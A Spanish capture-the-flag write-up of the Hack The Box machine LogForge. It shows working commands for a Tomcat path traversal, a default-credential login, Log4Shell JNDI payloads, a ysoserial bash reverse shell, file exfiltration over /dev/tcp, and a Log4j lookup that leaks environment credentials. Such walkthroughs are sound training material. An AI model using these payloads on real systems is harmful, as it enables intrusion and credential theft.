El día de hoy vamos a resolver (WriteUp) una maquina retirada de Hack The Box (HTB) llamada LogForge. Este artículo forma parte de nuestra categoría HackTheBox.
Escaneo de Puertos de LogForge
Empezamos con ingresar a la maquina y obtener la dirección IP 10.10.11.138, para luego realizar una revisión de puertos mediante el programa Nmap con el siguiente comando:
sudo nmap 10.10.11.138 -p- --min-rate=5000 -sS -sC -sV -o nmap
Nmap nos devuelve lo siguiente:
# Nmap 7.92 scan initiated Sun Jan 9 17:25:42 2022 as: nmap -p- --min-rate=5000 -sS -sC -sV -o nmap 10.10.11.138 Warning: 10.10.11.138 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.11.138 Host is up (0.22s latency). Not shown: 65282 closed tcp ports (reset), 251 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA) | 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA) |_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Ultimate Hacking Championship |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Jan 9 17:31:42 2022 -- 1 IP address (1 host up) scanned in 359.66 seconds
Como podemos ver, tenemos un servicio web en el puerto 80 y un ssh en el puerto 21.
Web de LogForge
Ingresamos al sitio web y podemos ver que no hay mucha información en él.
En el código fuente tampoco hay nada.
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Ultimate Hacking Championship</title> <style> body { background-image: url("images/logo.png"); background-size: contain; background-repeat: no-repeat; background-color: #0c1f3b; } .main { display: flex; flex-direction: column; justify-content: center; text-align: center; line-height: 200px; color: #ffffff; font-size: 80px; } </style> </head> <body> <div class="main"> <h1></h1> <h2></h2> </div> </body> </html>
Wfuzz
Realizaremos un ataque de diccionario para enumerar que archivos o directorios ocultos hay en el sitio web.
~$ wfuzz -u "http://10.10.11.138/FUZZ" -w /usr/share/dirb/wordlists/common.txt --hc 404 -t 200 ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://10.10.11.138/FUZZ Total requests: 4614 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000001: 200 32 L 48 W 489 Ch "http://10.10.11.138/" 000000286: 403 9 L 28 W 277 Ch "admin" 000001920: 403 9 L 28 W 277 Ch "host-manager" 000001991: 302 0 L 0 W 0 Ch "images" 000002436: 403 9 L 28 W 277 Ch "manager" 000003588: 403 9 L 28 W 277 Ch "server-status" Total time: 14.02928 Processed Requests: 4614 Filtered Requests: 4608 Requests/sec.: 328.8834
Path Traversal en tomcat de LogForge
Cuando ingresamos al directorio manager podemos ver que no tenemos permisos.
Explotamos la vulnerabilidad path traversal para poder acceder a este directorio, para ello utilizaremos el payload «..;/«, la url seria la siguiente:
http://10.10.11.138/puto/..;/manager/10.10.11.138/puto/..;/manager/
Al acceder a la url nos pide credenciales, probaremos con las credenciales por defecto las cuales son tomcat:tomcat.
Log4Shell
Estos días se ha hecho conocida una vulnerabilidad que ha tenido un gran impacto en Internet. La vulnerabilidad radica en una librería de logs en Java llamada log4j. Al ser una vulnerabilidad que afecta a una librería, todos los programas que usan esta son susceptible a ser comprometidos.
La maquina LogForge cuenta con Apache Tomcat, el cual utiliza Java, si buscamos un poco en la documentación, nos encontramos con lo siguiente:
Como existe la posibilidad de que sea vulnerable a log4shell vamos a probar con el siguiente payload:
${jndi:ldap://[IP]:1389/a}
De forma paralela, escucharemos con Netcat en el puerto 1389. De tal manera que si obtenemos una respuesta, podemos deducir que la instancia de Tomcat es vulnerable.
nc -lvp 1389
Probamos colocando nuestro payload en el panel de Tomcat y lo enviamos.
Podemos ver que se generó una conexión en nuestro Netcat.
~$ nc -lvp 1389 listening on [any] 1389 ... 10.10.11.138: inverse host lookup failed: Unknown host connect to [10.10.16.17] from (UNKNOWN) [10.10.11.138] 56596 0 `
Realizando los preparativos
Para explotar esta vulnerabilidad necesitaremos de algunos proyectos que podemos encontrar en GitHub. Empezaremos con crear un archivo serializado que luego cargaremos a nuestro servidor ldap. Por ello usaremos el siguiente GitHub:
https://github.com/pimps/ysoserial-modified
~$ git clone https://github.com/pimps/ysoserial-modified ~$ cd ysoserial-modified/target ~$ java -jar ysoserial-modified.jar Y SO SERIAL? Usage: java -jar ysoserial-[version]-all.jar [payload type] [terminal type: cmd / bash / powershell / none] '[command to execute]' ex: java -jar ysoserial-[version]-all.jar CommonsCollections5 bash 'touch /tmp/ysoserial' Available payload types: BeanShell1 [org.beanshell:bsh:2.0b5] C3P0 [com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11] CommonsBeanutils1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2] CommonsCollections1 [commons-collections:commons-collections:3.1] CommonsCollections2 [org.apache.commons:commons-collections4:4.0] CommonsCollections3 [commons-collections:commons-collections:3.1] CommonsCollections4 [org.apache.commons:commons-collections4:4.0] CommonsCollections5 [commons-collections:commons-collections:3.1] CommonsCollections6 [commons-collections:commons-collections:3.1]
Entonces, crearemos el archivo serializado con el siguiente comando:
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.16.17/5555 0>&1' > /tmp/reverse.ser
Siendo:
- java -jar ysoserial-modified.jar: Comando para ejecutar un archivo jar.
- CommonsCollections5: El payload de serializacion que usaremos.
- bash: la shell que especificaremos para ejecutar nuestro comando.
- ‘bash -i >& /dev/tcp/10.10.16.17/5555 0>&1’: El comando que especificamos para que se ejecute, en este caso una shell inversa.
- > /tmp/reverse.ser: Redireccion para almacenar la respuesta del comando en un archivo.
Con el archivo serializado, vamos a usar JNDI Exploit Kit para explotar la vulnerabilidad Log4Shell presente en la instancia de Tomcat. El contenido se puede encontrar en el siguiente repositorio:
https://github.com/pimps/JNDI-Exploit-Kit
Clonamos el repositorio y verificamos que este todo configurado.
~$ git clone https://github.com/pimps/JNDI-Exploit-Kit ~$ cd JNDI-Exploit-Kit/target ~$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar --help _ _ _ _____ _____ ______ _ _ _ _ ___ _ | | \ | | __ \_ _| | ____| | | (_) | | |/ (_) | | | \| | | | || |______| |__ __ ___ __ | | ___ _| |_ ______| ' / _| |_ _ | | . ` | | | || |______| __| \ \/ / '_ \| |/ _ \| | __|______| < | | __| | |__| | |\ | |__| || |_ | |____ > <| |_) | | (_) | | |_ | . \| | |_ \____/|_| \_|_____/_____| |______/_/\_\ .__/|_|\___/|_|\__| |_|\_\_|\__| | | |_| created by @welk1n modified by @pimps Cmdlines parse failed. usage: JNDI-Injection-Exploit -C <arg> The command executed in remote .class. -H <arg> Display the help menu. -J <arg> The address of HTTP server (ip or domain). Format: IP:PORT -L <arg> The address of LDAP server (ip or domain). Format: IP:PORT -N <arg> A class name to be used for the deserialization payload -O <arg> Change the Operation mode. Options are: ALL, HTTP, RMI, LDAP -P <arg> Loads a YSOSerial binary payload to be used with LDAP Format: /tmp/payload.ser -R <arg> The address of RMI server (ip or domain). Format: IP:PORT -S <arg> Connect back IP:PORT string. DISCLAIMER: Only unix target supported
Corremos la herramienta usando el siguiente comando:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.16.17:1389 -P /tmp/reverse.ser
- -L 10.10.16.17:1389: especificamos nuestra IP y el puerto donde correremos el servicio LDAP.
- -P /tmp/reverse.ser: especificamos el archivo serializado que creamos anteriormente.
De todas las opciones que nos devuelve la herramienta, usamos la ruta ldap con el JDK 1.5.
Ingresamos el payload en el formulario de Tomcat y veremos que obtenemos una sesión en Netcat.
tomcat@LogForge:/var/lib/tomcat9$ cd /home/htb/ tomcat@LogForge:/home/htb$ ls user.txt tomcat@LogForge:/home/htb$ cat user.txt 5xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx9
Buscando servicios HTB LogForge WriteUp
Para buscar servicios que estén corriendo en el servidor usamos el comando netstat.
tomcat@LogForge:/var/lib/tomcat9$ netstat -tanpu (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 1 0 127.0.0.1:52202 127.0.0.1:8080 CLOSE_WAIT - tcp 1 0 127.0.0.1:52198 127.0.0.1:8080 CLOSE_WAIT - tcp 0 286 10.10.11.138:51078 10.10.16.17:5555 ESTABLISHED 22861/bash tcp 1 0 127.0.0.1:52190 127.0.0.1:8080 CLOSE_WAIT - tcp 1 0 127.0.0.1:52206 127.0.0.1:8080 CLOSE_WAIT - tcp 1 0 127.0.0.1:52208 127.0.0.1:8080 CLOSE_WAIT - tcp 0 0 10.10.11.138:51030 10.10.16.17:5555 ESTABLISHED 9995/bash tcp 1 0 127.0.0.1:52194 127.0.0.1:8080 CLOSE_WAIT - tcp 1 0 127.0.0.1:52204 127.0.0.1:8080 CLOSE_WAIT - tcp 1 0 127.0.0.1:52192 127.0.0.1:8080 CLOSE_WAIT - tcp 1 0 127.0.0.1:52196 127.0.0.1:8080 CLOSE_WAIT - tcp 1 0 127.0.0.1:52212 127.0.0.1:8080 CLOSE_WAIT - tcp 1 0 127.0.0.1:52188 127.0.0.1:8080 CLOSE_WAIT - tcp6 0 0 :::8080 :::* LISTEN 824/java tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::21 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - udp 0 0 127.0.0.53:53 0.0.0.0:* -
Como podemos ver, existe un servicio corriendo en el puerto 21 el cual debe ser un FTP, para comprobarlo buscaremos el proceso con el comando ps.
tomcat@LogForge:/var/lib/tomcat9$ ps -aux | grep -i FTP root 957 0.1 1.7 3576972 69380 ? Sl 02:02 1:05 java -jar /root/ftpServer-1.0-SNAPSHOT-all.jar tomcat 23044 0.0 0.0 5188 660 pts/1 S+ 16:33 0:00 grep -i FTP
Se puede observar que existe un servicio FTP que esta corriendo en la maquina usando Java. Buscamos el archivo .jar para ver si existe alguno que podamos leer.
tomcat@LogForge:/var/lib/tomcat9$ find / -name 'ftpServer-1.0-SNAPSHOT-all.jar' 2>/dev/null /ftpServer-1.0-SNAPSHOT-all.jar
Descargando el fichero JAR
Para esto lo que haremos será escuchar con Netcat desde nuestro computador.
nc -lvp 9696 > ftp.jar
Luego desde la maquina objetivo, ejecutamos el siguiente comando para enviarnos el fichero JAR del FTP.
tomcat@LogForge:/$ cat ftpServer-1.0-SNAPSHOT-all.jar > /dev/tcp/10.10.16.17/9696
Podemos observar como se realiza la conexión y se envía correctamente el archivo.
~$ nc -lvp 9696 > ftp.jar listening on [any] 9696 ... 10.10.11.138: inverse host lookup failed: Unknown host connect to [10.10.16.17] from (UNKNOWN) [10.10.11.138] 53462 ~$ ls -la ftp.jar .rw-r--r-- user user 2.0 MB Sun Jan 9 13:44:39 2022 ftp.jar
Analizando el fichero JAR
Para analizar un fichero .jar, vamos a utilizar Java Decompiler, para instalar y ejecutar usaremos los siguientes comandos:
~$ sudo apt-get install jd-gui ~$ jd-gui
Luego de abrir el programa y elegir el fichero jar, podemos ver una interfaz con la información del archivo.
Observamos que main.java.com.ippsec.ftpServer debe contener el código del servidor FTP. También podemos ver como org.apache.logging.log4j contiene información sobre la librería de Log4j.
- Hacemos clic en main.java.com.ippsec.ftpServer
- Hacemos clic en la clase Worker
- Podemos ver como el usuario y contraseña del servidor se extraen de los valores de 2 variables de entorno, ftp_user y ftp_password respectivamente.
Extrayendo las variable de entorno con log4shell, HTB LogForge WriteUp
Lo que haremos será extraer las variables de entorno ftp_user y ftp_password, para ello usaremos el siguiente comando:
${jndi:ldap://10.10.16.17:1389/USER:${env:ftp_user}--PASS:${env:ftp_password}}
- ${env:ftp_user}: obtiene el valor de la variable de entorno ftp_user.
- ${env:ftp_password}: obtiene el valor de la variable de entorno ftp_password.
Primero utilizaremos Wireshark para interceptar los paquetes que se envíen a nuestro computador usando el payload anterior. Agregamos el filtro tcp.port == 1389 para que solo nos muestre los paquetes que pasen por ese puerto que definimos para el servicio ldap.
Accedemos al FTP de modo local y enviamos el payload en el parámetro usuario.
tomcat@LogForge:/$ ftp localhost Connected to localhost. 220 Welcome to the FTP-Server Name (localhost:tomcat): ${jndi:ldap://10.10.16.17:1389/USER:${env:ftp_user}--PASS:${env:ftp_password}} 530 Not logged in Login failed. Remote system type is FTP. ftp>
Luego en Wireshark, veremos que se han creado varios paquetes.
- Hacemos clic a uno de los primeros paquetes azules
- Clic derecho y luego en Follow
- Se nos abrirá un nuevo menú, ahí le damos clic en TCP stream
Luego de ello, se abrirá una nueva ventana con la información de la solicitudes, podemos ver en ella el usuario y contraseña del servidor FTP.
Obteniendo el archivo root.txt HTB LogForge WriteUp
Ahora que tenemos las credenciales del FTP, nos dirigimos al directorio /tmp y nos conectamos desde ahí. Esto lo hacemos porque si nos conectamos desde cualquier ruta, cuando deseemos descargar algún archivo, existe el riesgo de que en el directorio donde nos ubiquemos no tengamos permiso de escritura.
tomcat@LogForge:/tmp$ cd /tmp tomcat@LogForge:/tmp$ ftp localhost Connected to localhost. 220 Welcome to the FTP-Server Name (localhost:tomcat): ippsec 331 User name okay, need password Password: 230-Welcome to HKUST 230 User logged in successfully Remote system type is FTP. ftp> ls 200 Command OK 125 Opening ASCII mode data connection for file list. .profile .ssh snap ftpServer-1.0-SNAPSHOT-all.jar .bashrc .selected_editor run.sh .lesshst .bash_history root.txt .viminfo .cache 226 Transfer complete.
Como podemos observar, tenemos en el directorio del ftp el archivo root.txt, lo descargamos usando el comando get.
ftp> get root.txt local: root.txt remote: root.txt 200 Command OK 150 Opening ASCII mode data connection for requested file root.txt WARNING! 1 bare linefeeds received in ASCII mode File may not have transferred correctly. 226 File transfer successful. Closing data connection. 33 bytes received in 0.00 secs (169.6135 kB/s) ftp> exit 221 Closing connection tomcat@LogForge:/tmp$ cat root.txt bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx2
Conclusión HTB LogForge WriteUp
En base a las vulnerabilidades encontradas en el WriteUp de la máquina LogForge de HTB, se concluyen las siguientes recomendaciones:
- Tener mucho cuidado con los programas o servicios que usen la librería Log4j, ya que al ser una vulnerabilidad reciente, los atacantes se encuentran muy pendientes de encontrar servicios vulnerables.
- Con respecto al análisis de los ficheros jar, se recomienda realizar una ofuscación del código, para que de esta manera se dificulte más el trabajo de un atacante para leer el contenido del mismo.
- Con respecto a la vulnerabilidad Path Traversal de Tomcat, se recomienda filtrar y denegar todas las solicitudes que contengan el carácter punto y coma (;).
Considerando que cada día se descubren múltiples vulnerabilidades web, se recomienda la realización de pruebas de Ethical Hacking de forma periódica, las cuales garantizan potenciar los controles de seguridad existentes en las aplicaciones web de su empresa.